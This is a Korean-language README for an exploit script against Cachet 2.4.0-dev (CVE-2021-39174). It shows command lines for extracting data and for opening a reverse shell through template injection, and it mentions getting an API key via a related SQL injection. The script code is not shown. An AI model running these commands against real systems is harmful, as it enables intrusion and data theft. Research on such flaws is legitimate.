CVE-2021-39174 Cachet 2.4.0-dev

CVE-2021-39174 Cachet 2.4.0-dev의 정보 노출 및 Twig 서버 사이드 템플릿 인젝션을 통한 RCE를 위한 Python3 스크립트입니다. RCE를 위해서는 사용자의 API KEY가 필요합니다. 아래 Leave Songs 링크를 확인하시면 SQL 인젝션 CVE-2021-39165를 통해 API KEY를 획득하는 방법을 다루고 있습니다.

시작하기

프로그램 실행

• 데이터 추출

python3 cachet_2.4.0-dev.py -t http://cachet.site/ -u username -p password

• 리버스 셸

python3 cachet_2.4.0-dev.py -t http://cachet.site/ -u username -p password -k API_KEY -lhost 127.0.0.1 -lport 1337

도움말

도움말 메뉴:

python3 cachet_2.4.0-dev.py -h

감사의 글

• SonarSource
• Leave Songs

면책 조항

이 저장소에 제공된 모든 코드는 교육/연구 목적으로만 제공됩니다. 이 저장소에 포함된 자료와 관련된 모든 행동 및/또는 활동은 전적으로 사용자의 책임입니다. 이 저장소의 코드를 오용할 경우 관련자에게 형사 고발이 제기될 수 있습니다. 저자는 이 저장소의 코드를 불법적으로 사용하여 법을 위반하는 개인에 대해 형사 고발이 제기되는 경우 책임을 지지 않습니다.